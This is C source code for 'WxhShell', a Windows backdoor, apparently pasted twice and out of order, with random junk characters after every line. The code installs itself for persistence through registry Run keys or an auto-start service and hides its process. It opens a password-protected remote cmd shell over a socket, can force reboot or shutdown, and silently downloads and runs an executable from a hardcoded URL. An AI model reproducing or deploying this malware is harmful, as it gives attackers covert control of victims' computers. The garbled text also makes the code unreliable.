    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J!l/!Z>!cF  
    if(Boot(SHUTDOWN)) x. d ;7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZbS* zKEW  
    else { >]DnEF&  
    closesocket(wsh); d9'gH#f?  
    ExitThread(0); |7 .WP;1  
    } Yo`#G-]  
    break; lLq9)+HGN  
    } ~N2<-~=si  
  // 获取shell KHK|Zu#k '  
  case 's': { ^SdorPOq&  
    CmdShell(wsh); ==$>M d  
    closesocket(wsh); Yh=/?&*  
    ExitThread(0); tvh)N{j  
    break; {5<3./5O  
  } s,KE,$5F   
  // 退出 x3dP`<   
  case 'x': { 9?4EM^ -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  Fu@2gd  
    CloseIt(wsh); N{6 - rR  
    break; Y!M&8;>  
    } e!+_U C  
  // 离开 Hzd tR  
  case 'q': { #;l~Y}7'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); okl*pA)  
    closesocket(wsh); /eZ UAxq  
    WSACleanup(); N~<H`  
    exit(1); q-3,p.  
    break; +YS0yTWeX  
        } Gag=GHG  
  } OQ,KQ\  
  } :BIgrz"Jz  
7od6`k   
  // 提示信息 \YV`M3O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cr;\;Ta_!W  
} xPuuG{Sm  
  } ]{mz %\  
w 0V=49  
  return; y$J M=f$  
} W$E!}~Ro  
I-=H;6w7  
// shell模块句柄 c:%ll&Xtn  
int CmdShell(SOCKET sock) }p2YRTHx  
{ 6Dx^$=Sa$  
STARTUPINFO si; =3~u.iq$  
ZeroMemory(&si,sizeof(si)); :cx}I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; az5 $.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b+Ly%&  
PROCESS_INFORMATION ProcessInfo; +:JyXF u  
char cmdline[]="cmd"; g\Ck!KJ/y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BQWe8D  
  return 0; .{pc5eUf  
} :$=r^LSH  
 4[\[Ho  
// 自身启动模式 WfnBWSA2 T  
int StartFromService(void) 5*Wo/%#q  
{ m[k@\xS4e  
typedef struct =wd=TX/  
{ $)V_oQSqn  
  DWORD ExitStatus; U6 4WTS@  
  DWORD PebBaseAddress; hcQky/c\#b  
  DWORD AffinityMask; ,5tW|=0@  
  DWORD BasePriority; m^6& !`CD  
  ULONG UniqueProcessId; JjD'2"z  
  ULONG InheritedFromUniqueProcessId; y@\R$`0J  
}   PROCESS_BASIC_INFORMATION; 8&gr}r- 5  
#n9:8BKf  
PROCNTQSIP NtQueryInformationProcess; .BaU}-5  
W,\LdQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QX1rnVzg0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dIQxU  
, [V#o-Z  
  HANDLE             hProcess; %xa.{`}`U  
  PROCESS_BASIC_INFORMATION pbi; GI]sE]tZ  
XOk0_[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tEj-c@`"x-  
  if(NULL == hInst ) return 0; Oa8lrP`(  
>?pWbL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FCk4[qOp7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m1](f[$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); st|;] q9?  
L<GF1I)  
  if (!NtQueryInformationProcess) return 0; ~E]ct F  
ZmJ!ZKKch  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _8-iO.T+2  
  if(!hProcess) return 0; (W=J3 ?hn  
\]@XY_21  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UUE:>[,  
c^4^z"Mo`  
  CloseHandle(hProcess); ,wyfMOGLt  
R F)Qsa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WcG!6.U>  
if(hProcess==NULL) return 0; F|rJ{=x  
;q8tOvQ  
HMODULE hMod; R{GT? wl  
char procName[255]; gM0^k6bB8  
unsigned long cbNeeded; _kgGz@/p  
P|:*OM p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sHt PO[h  
;8?i  
  CloseHandle(hProcess); ~v /NG  
R<5GG|(B  
if(strstr(procName,"services")) return 1; // 以服务启动 zOkIPv52~  
]bPj%sb*@  
  return 0; // 注册表启动 1XwW4cZ>:  
} ]VYv>o`2  
R')D~JJ<8a  
// 主模块 a!_vd B  
int StartWxhshell(LPSTR lpCmdLine) b1("(,r/`  
{ <c,/+ lQ^  
  SOCKET wsl; .e^AS~4pl  
BOOL val=TRUE; (%i)A$i6a  
  int port=0; u:6PAVW?  
  struct sockaddr_in door; yMJY6$Ct  
k|ol+ 9Z  
  if(wscfg.ws_autoins) Install(); R(i2TAaaU  
)ZyEn%  
port=atoi(lpCmdLine); I3{koI  
1l8kuwH  
if(port<=0) port=wscfg.ws_port; u-31$z<<5}  
e:h(,  
  WSADATA data; POnI&y]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jJX-S  
(c'=jJX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `|[" {j}^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _fVC\18T  
  door.sin_family = AF_INET; lzKJy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I jK  
  door.sin_port = htons(port); j-?zB .jAh  
%XpYiW#AK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?gq',F FDq  
closesocket(wsl); BIFuQ?j3  
return 1; 8Wa&&YTB  
} _cWz9 ;  
~JU :a@)  
  if(listen(wsl,2) == INVALID_SOCKET) { yf KJpy  
closesocket(wsl); g^CAT1}  
return 1; TQcEe@$)  
} h-^7cHI}  
  Wxhshell(wsl); Cb{n4xKW6  
  WSACleanup(); .g|D  
\:ELO[(#|{  
return 0; 'CrBxaA]s  
:3FJe  
} qkM<t?uS  
k Xs&k8  
// 以NT服务方式启动 _n[4+S*v(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v,\2$q/  
{ JOR ? xCc  
DWORD   status = 0; *zf@J'  
  DWORD   specificError = 0xfffffff; BFCF+hU^6R  
_?5$ST@5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2'R& K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EmaVd+Sw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;+) M~2 =  
  serviceStatus.dwWin32ExitCode     = 0; H%K,2/Nj  
  serviceStatus.dwServiceSpecificExitCode = 0; c:a5pd7T  
  serviceStatus.dwCheckPoint       = 0; {29x5J  
  serviceStatus.dwWaitHint       = 0; Xv`c@n )  
!PaDq+fB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Is87 9_Z  
  if (hServiceStatusHandle==0) return; :+Pl~X"_  
:6^8Q,C1@  
status = GetLastError(); hhS]wM?B  
  if (status!=NO_ERROR) ,O9rL :?  
{ F$Cf\#{3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2MN AY%iT  
    serviceStatus.dwCheckPoint       = 0; 0(uNFyIG  
    serviceStatus.dwWaitHint       = 0; xk1pZQ8c  
    serviceStatus.dwWin32ExitCode     = status; ?~mw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1I'ep\`"X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aS7[s6  
    return; 2n9E:tc  
  } <lx~/3<m  
\Ty%E<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bt$+l[U^J  
  serviceStatus.dwCheckPoint       = 0; \X'{ ee  
  serviceStatus.dwWaitHint       = 0; a"!D @a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Z@+ |&@L  
} vFKt=o$ g  
.kBZ(`K  
// 处理NT服务事件,比如:启动、停止 l )hg!(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hkc:B/6  
{ 9$9Pv%F:j  
switch(fdwControl) nUAs:Q  
{ c'9-SY1'~  
case SERVICE_CONTROL_STOP: N"i'[!H%  
  serviceStatus.dwWin32ExitCode = 0; @ =RH_NB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =5JTVF  
  serviceStatus.dwCheckPoint   = 0; Jy,Dcl  
  serviceStatus.dwWaitHint     = 0; =4;GIiF@  
  { IZ2c<B5&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+c  {Pl  
  } 6j]pJ]F6  
  return; ty8\@l  
case SERVICE_CONTROL_PAUSE: t/6t{*-w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c8o $WyO  
  break; }tH$/-qnJE  
case SERVICE_CONTROL_CONTINUE: J,8Wo6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $X.X_  
  break; %N"9'g>  
case SERVICE_CONTROL_INTERROGATE: p'2ZDd =v  
  break; l!B)1  
}; :Sh>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iU5Aj:U3  
} qlT'gUt=H  
G3j&8[  
// 标准应用程序主函数 hRn[ 9B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i;1EXM  
{ :v_H;UU  
[l+1zt0w0  
// 获取操作系统版本 sK#)wjj\^  
OsIsNt=GetOsVer(); 1 :xN)M,s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G<1awi  
xDf<@  
  // 从命令行安装 6%mF iX  
  if(strpbrk(lpCmdLine,"iI")) Install(); SX$Nef9p  
^9})@,(D  
  // 下载执行文件 RVxlN*  
if(wscfg.ws_downexe) { !MOgM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3^>D |  
  WinExec(wscfg.ws_filenam,SW_HIDE); XO)|l8t#$=  
} 2:(h17So  
^&o38=70*  
if(!OsIsNt) { =] R_6#  
// 如果时win9x,隐藏进程并且设置为注册表启动 "z ` &xB  
HideProc(); axTvA(k9  
StartWxhshell(lpCmdLine); @:'swO/\<  
} p;S<WJv k  
else C~4$A/&(  
  if(StartFromService()) 0Ywqv)gg  
  // 以服务方式启动 cLN(yL  
  StartServiceCtrlDispatcher(DispatchTable); 0@R @L}m  
else @"*8nV#  
  // 普通方式启动 x(e =@/qp  
  StartWxhshell(lpCmdLine); D`;Q?f C  
B!vI^W  
return 0; 4uU G0o  
} L0_qHLY  
OUY 65K  
c\.8hd=<  
mdu5aL  
=========================================== mVYLI!n}0#  
4\%0a,\^  
P:z5/??2S  
p]d3F^*i  
DrD68$,QN  
^Zh YW  
" * \@u,[,  
jgLCs)=5hV  
#include <stdio.h> r5!I|E  
#include <string.h> @_&@M~ u  
#include <windows.h> w5I +5/I  
#include <winsock2.h> )'{:4MX  
#include <winsvc.h> NX?J  
#include <urlmon.h> Ybr&z7# 2  
+DwyMzeE  
#pragma comment (lib, "Ws2_32.lib") P)?)H]J"  
#pragma comment (lib, "urlmon.lib") "{0 o"k  
p[*NekE6-  
#define MAX_USER   100 // 最大客户端连接数 +tz^ &(  
#define BUF_SOCK   200 // sock buffer 0&1!9-(d  
#define KEY_BUFF   255 // 输入 buffer W s!N%%g  
%J06]FG7  
#define REBOOT     0   // 重启 a7#J af  
#define SHUTDOWN   1   // 关机 ?)9mHo^  
\lVX~r4  
#define DEF_PORT   5000 // 监听端口 I!y[7^R  
}.<%46_Z-  
#define REG_LEN     16   // 注册表键长度 ]KMOLe6(  
#define SVC_LEN     80   // NT服务名长度 hSmu"a,S  
_"8\k 7S*  
// 从dll定义API 56Q9RU(M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pq`Bg`c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JFx=X=C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MtAD&+3$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m/"\+Hv  
Z:|2PQ4  
// wxhshell配置信息 (ilU<Ht  
struct WSCFG { F`9;s@V*  
  int ws_port;         // 监听端口 M2ig iR  
  char ws_passstr[REG_LEN]; // 口令 W{\){fr6O  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;mV,r,\dH  
  char ws_regname[REG_LEN]; // 注册表键名 W`fE@*k0  
  char ws_svcname[REG_LEN]; // 服务名 CB5 ~!nKv&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4'pg>;*.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0:^L>MO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > m GO08X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xN\ PQ,J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iw|6w,-)C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pQaP9Y{OK  
i)V-q9\  
}; ]9?_ m@Ihx  
^F<[5e)M  
// default Wxhshell configuration :('7ly!h  
struct WSCFG wscfg={DEF_PORT, C'ZF#Z  
    "xuhuanlingzhe", 6g@@V=mf  
    1, [{F8+a^  
    "Wxhshell", oLcOp.8h[  
    "Wxhshell", L 6){wQ%c  
            "WxhShell Service", /i+8b(x  
    "Wrsky Windows CmdShell Service", "1rZwFI0l  
    "Please Input Your Password: ", JHN3 5a+  
  1, Pm]6E[zC  
  "http://www.wrsky.com/wxhshell.exe", z<~gv"  
  "Wxhshell.exe" Xidt\08s  
    }; 6Cut[*lj^  
I(r^q"  
// 消息定义模块 7kM_Ijd$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d;KrV=%30s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &UG7 g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O?omL5  
char *msg_ws_ext="\n\rExit."; ~:."BA  
char *msg_ws_end="\n\rQuit."; =4 &/Pr  
char *msg_ws_boot="\n\rReboot..."; h3.wR]ut  
char *msg_ws_poff="\n\rShutdown..."; pmAir:  
char *msg_ws_down="\n\rSave to "; K /h9x9^  
jp2AU,Cl  
char *msg_ws_err="\n\rErr!"; AF5.gk=  
char *msg_ws_ok="\n\rOK!"; /+ G&N{)k  
`Nnqdc2  
char ExeFile[MAX_PATH]; Pg%OFhA  
int nUser = 0; $l }MB7  
HANDLE handles[MAX_USER]; DoA4#+RU  
int OsIsNt; vs|>U-Mpw~  
@RKw1$BA  
SERVICE_STATUS       serviceStatus; Dqu1!f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e!}R1  
<{.o+~k  
// 函数声明 ;p%a!Im_ <  
int Install(void); }et^'BkA(  
int Uninstall(void); 'sI=*c  
int DownloadFile(char *sURL, SOCKET wsh); dX0A(6  
int Boot(int flag); G0$ 1"9u\w  
void HideProc(void); Gnmj-'x  
int GetOsVer(void); 6C>x,kU  
int Wxhshell(SOCKET wsl); 6o&{~SV3  
void TalkWithClient(void *cs); a3]'%kKp  
int CmdShell(SOCKET sock); 9PEjV$0E2  
int StartFromService(void); krm&.J  
int StartWxhshell(LPSTR lpCmdLine); Y;>0)eP  
93:s[b mx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H@er"boi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +O:Qw[BL/Z  
@= )_PG  
// 数据结构和表定义 W&y%fd\&3  
SERVICE_TABLE_ENTRY DispatchTable[] = VA_\Z  
{ <#ujm fD  
{wscfg.ws_svcname, NTServiceMain}, XiI@Px?FL  
{NULL, NULL} ]SpUD  
}; kEWC  
e-f_ #!bW  
// 自我安装 =!r9;L,?  
int Install(void) $@q)IK%FDL  
{ +\9Y;N y  
  char svExeFile[MAX_PATH]; E]6C1C&K  
  HKEY key; uYiM~^ 0  
  strcpy(svExeFile,ExeFile); Mq]~Ka3q7  
nK Rx_D$d  
// 如果是win9x系统,修改注册表设为自启动 yB(^t`)}N  
if(!OsIsNt) { ]c8lZO>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Z#&!xTb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3/o-\wWO  
  RegCloseKey(key); sj003jeko  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vBQ|h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nGGYKI  
  RegCloseKey(key); 6gfv7V2H  
  return 0; Zr'VA,v  
    } ihKnZcI$i  
  }  Mi.xay%  
} NvXds;EC  
else { VN|P(S6  
"y/GK1C  
// 如果是NT以上系统,安装为系统服务 YVZm^@ZVV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {$4fRxj  
if (schSCManager!=0) 2 5h.u>6@{  
{ X:+;d8rCy  
  SC_HANDLE schService = CreateService _QfA'32S  
  (  Aki8#  
  schSCManager,  {[o=df/  
  wscfg.ws_svcname, 5>4<_-Tm  
  wscfg.ws_svcdisp, R1/ )Yy  
  SERVICE_ALL_ACCESS, <9YRSE [Ed  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3t[2Bd  
  SERVICE_AUTO_START, f&B&!&gZ  
  SERVICE_ERROR_NORMAL, U$6N-q  
  svExeFile, r8+{HknB;  
  NULL, ~j",ePl  
  NULL, LnvC{#TFO  
  NULL, ^,'!j/w5  
  NULL, L~SM#?z:ue  
  NULL HS]|s':  
  ); "zR+}  
  if (schService!=0) 95>(NwST4  
  { (F~i  
  CloseServiceHandle(schService); +mE y7qM  
  CloseServiceHandle(schSCManager); OT{wqNI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4dv+RRpGOv  
  strcat(svExeFile,wscfg.ws_svcname); HE. `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +j&4[;8P:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CHv~H.kh'  
  RegCloseKey(key); z#GZvB/z)  
  return 0; "n:z("Q*  
    } >}GtmnF  
  } vL{sk|2&  
  CloseServiceHandle(schSCManager); QM`A74j0]\  
} Ki{&,:@  
} "zL<:TQ"  
2#ND(  
return 1; B. 6gJ2c  
} y} AkF2:  
mu04TPj  
// 自我卸载 3D[IZ^%VtM  
int Uninstall(void) `omZ'n)  
{ *xA&t)z(i  
  HKEY key; R @b[o7/  
B<J} YN  
if(!OsIsNt) { ZJ'#XZpr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eic/#j{4  
  RegDeleteValue(key,wscfg.ws_regname); ko*Ir@SDv  
  RegCloseKey(key); kJq8"Klg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L;H(I@p(e  
  RegDeleteValue(key,wscfg.ws_regname); 7NV1w*> /  
  RegCloseKey(key); L|EvI.f  
  return 0; 4!,x3H'  
  } ,*%%BTnR  
} ~~,\BhG?  
} ir-srVoXy  
else { (S* T{OgO  
-("sp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !"j?dQ.U;  
if (schSCManager!=0) u.x>::i&  
{ i]a 5cn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rg)>ZHx  
  if (schService!=0) x6\EU=,  
  { AK%`EsI^  
  if(DeleteService(schService)!=0) { l_5]~N  
  CloseServiceHandle(schService); *=mtt^yZ  
  CloseServiceHandle(schSCManager); b=horvs/!  
  return 0; F\F_">5  
  } f1y3l1/  
  CloseServiceHandle(schService); f/&gR5  
  } 0#0[E,  
  CloseServiceHandle(schSCManager); L,M=ogdb  
} XCCN6[[+  
} o( Yfnnuy  
wO/}4>\  
return 1; URdCV{@42  
} Lqq RuKi  
;D&FZ|`(u  
// 从指定url下载文件 [Nbs{f^J=  
int DownloadFile(char *sURL, SOCKET wsh) Pp3<K649  
{ *cz nokq6  
  HRESULT hr; +KgLe>-}  
char seps[]= "/"; FY+0r67]  
char *token; w4P?2-kB  
char *file; !f[LFQD  
char myURL[MAX_PATH]; "bZ%1)+  
char myFILE[MAX_PATH]; 4qXO8T#~J=  
$!%/Kk4M  
strcpy(myURL,sURL); 5RXZ$/  
  token=strtok(myURL,seps); fT.18{'>  
  while(token!=NULL) pyYm<dn  
  { ^0p y  
    file=token; N}Q%y(O^  
  token=strtok(NULL,seps); C?m2R(RF  
  } w$8Su:g=  
GcaLP*%>B  
GetCurrentDirectory(MAX_PATH,myFILE); 3 5;|r  
strcat(myFILE, "\\"); #pO=\lJ,  
strcat(myFILE, file); $_IvzbOh  
  send(wsh,myFILE,strlen(myFILE),0); smaPZ^;; j  
send(wsh,"...",3,0); Fv$5Zcf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L"{qF<@V7&  
  if(hr==S_OK) 4v9jGwnzt  
return 0; O?5uCh$H  
else Cl#PYB{1Y  
return 1; ~Gm<F .(+  
 BC*62m  
} 1=:=zyEEo  
l{<+V)  
// 系统电源模块 mrWPTCD{  
int Boot(int flag) 5IE3[a%X  
{ ?!TFoD2'  
  HANDLE hToken; {~q"Y]?  
  TOKEN_PRIVILEGES tkp; qM78s>\-h  
HO[W2b  
  if(OsIsNt) { rYez$e^r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m1H|C3u8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U|SF;T .  
    tkp.PrivilegeCount = 1; n'*4zxAA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2q]y(kW+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )tYu3*'  
if(flag==REBOOT) { 0%J0.USkM7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9/2VU< K  
  return 0; AB(WK9o  
} 0x BO5[w,Y  
else { *g7BR`Bt]z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y\s ge  
  return 0; 4P(muOS  
} X.}i9a 6  
  } 'kU5  
  else { w]L^)_'Th  
if(flag==REBOOT) { 3{c6)vR2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E,IeW {6s  
  return 0; R 6JHRd  
} C\ 2rSyo  
else { j=|cx+nb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MX Qua:&HW  
  return 0; wNc.z*+O"H  
} xs#g  
} ]90BIJ]*c  
4^uQB(}Z  
return 1; @7S* ]  
} qFQO1"mu  
0b=1Ce+0q  
// win9x进程隐藏模块 (U@Ks )  
void HideProc(void) _EPfeh;  
{ 9r2l~zE  
RvQa&r5l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Iu" 7  
  if ( hKernel != NULL ) H!SFSgAu  
  { -t#YL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o6bT.{8\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }jE [vVlRw  
    FreeLibrary(hKernel); ,bTpD!  
  } /3Y\s&y  
T)c<tIr6  
return; qAI %6d  
} T'6MAxEZUq  
U80h0t%  
// 获取操作系统版本 `:b*#@  
int GetOsVer(void) ?iXN..6x  
{ 8MQb5( !  
  OSVERSIONINFO winfo; xP{)+$n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t;HM  
  GetVersionEx(&winfo); sdp3geBYo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #jj+/>ZOi  
  return 1; <n1panS  
  else `\-<tk9  
  return 0; W 6c]a/  
} njxfBA:  
]`eP"U{  
// 客户端句柄模块 33},lNS|  
int Wxhshell(SOCKET wsl) vKO/hZBh  
{ sP:nTpTsC  
  SOCKET wsh; wn-1fz <d  
  struct sockaddr_in client; *Jwx,wF}4  
  DWORD myID; c-VIpA1  
B\54eTn  
  while(nUser<MAX_USER) A3mvd-k  
{ ?3 S{>+'  
  int nSize=sizeof(client); 0Sj B&J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9%Eo<+my h  
  if(wsh==INVALID_SOCKET) return 1; ?lca#@f(  
AZ.$g?3w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WAt= T3  
if(handles[nUser]==0) LvqWA}  
  closesocket(wsh); )FpizoVq0  
else *fCmZ$U:{  
  nUser++; q0C%">>1 #  
  } vSnGPLl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (S~kNbIa  
(b;Kl1Ql]  
  return 0; zC,c9b  
} i 558&:  
=u-q#<h4 ;  
// 关闭 socket 5>6:#.f%!e  
void CloseIt(SOCKET wsh) : X}n[K  
{ fc&djd`FuX  
closesocket(wsh); F|a'^:Qs  
nUser--; a[_IG-l|i4  
ExitThread(0); ${)oi:K@:  
} uG$*DeZti  
4mHk,Dd9,  
// 客户端请求句柄 )b?$ 4<X^  
void TalkWithClient(void *cs) uv=a}U;  
{ N7u|< 0[  
>[2;  
  SOCKET wsh=(SOCKET)cs; \RqH"HqD  
  char pwd[SVC_LEN]; 72CHyl`|l  
  char cmd[KEY_BUFF]; mBeP" GS  
char chr[1]; P$x9Z3d_  
int i,j; Jmuyd\?,b  
'NMO>[.  
  while (nUser < MAX_USER) { {'p < o$(S  
b:5-0uxjs  
if(wscfg.ws_passstr) { jM}(?^@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _\.4ofK(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ht:\ z;cu  
  //ZeroMemory(pwd,KEY_BUFF); jF@BWPtF=  
      i=0; sW-0G$,|  
  while(i<SVC_LEN) { <Umr2Vw-  
.07"I7  
  // 设置超时 Aydpr_lp  
  fd_set FdRead; bcq&yL'D  
  struct timeval TimeOut; D;&\)  
  FD_ZERO(&FdRead); G^sx/H76J  
  FD_SET(wsh,&FdRead); dS8ydG2  
  TimeOut.tv_sec=8; g< xE}[gF  
  TimeOut.tv_usec=0; u`ry CZo#g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k;B[wEW@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G6.lRaPu"m  
?b:Pl{?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -{}h6r  
  pwd=chr[0]; y/E:6w  
  if(chr[0]==0xd || chr[0]==0xa) { boI&q>-6Re  
  pwd=0; 's.e"F#  
  break; NB4 Q,iq$  
  } Y&1N*@YP  
  i++; 3G[|4v?[<_  
    } tI@aRF=p]2  
XzPOqZ`Nv  
  // 如果是非法用户,关闭 socket '4Jf[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #M||t|9iu?  
} l$Vy\CfK3n  
A%2B3@1'q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HC} vO0X4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =;4K5l{c  
k'_f?_PBu  
while(1) { Q}G2f4  
nU' qE  
  ZeroMemory(cmd,KEY_BUFF); DS;\24>H  
K&n-(m%  
      // 自动支持客户端 telnet标准   ttdY]+Fj  
  j=0; Y0Tad?iC  
  while(j<KEY_BUFF) { a4.w2GR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Do77V5  
  cmd[j]=chr[0]; :tbgX;tCs5  
  if(chr[0]==0xa || chr[0]==0xd) { Wsgp#W+  
  cmd[j]=0; qw$9i.Z  
  break; ]ag{sU@#  
  } Q5}XD  
  j++; x|yJCs>  
    } EjFn\|VK  
}`2a>N: &  
  // 下载文件 ^.R!sQ  
  if(strstr(cmd,"http://")) { eKy!Pai  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -b iE  
  if(DownloadFile(cmd,wsh)) O_qwD6s-_  
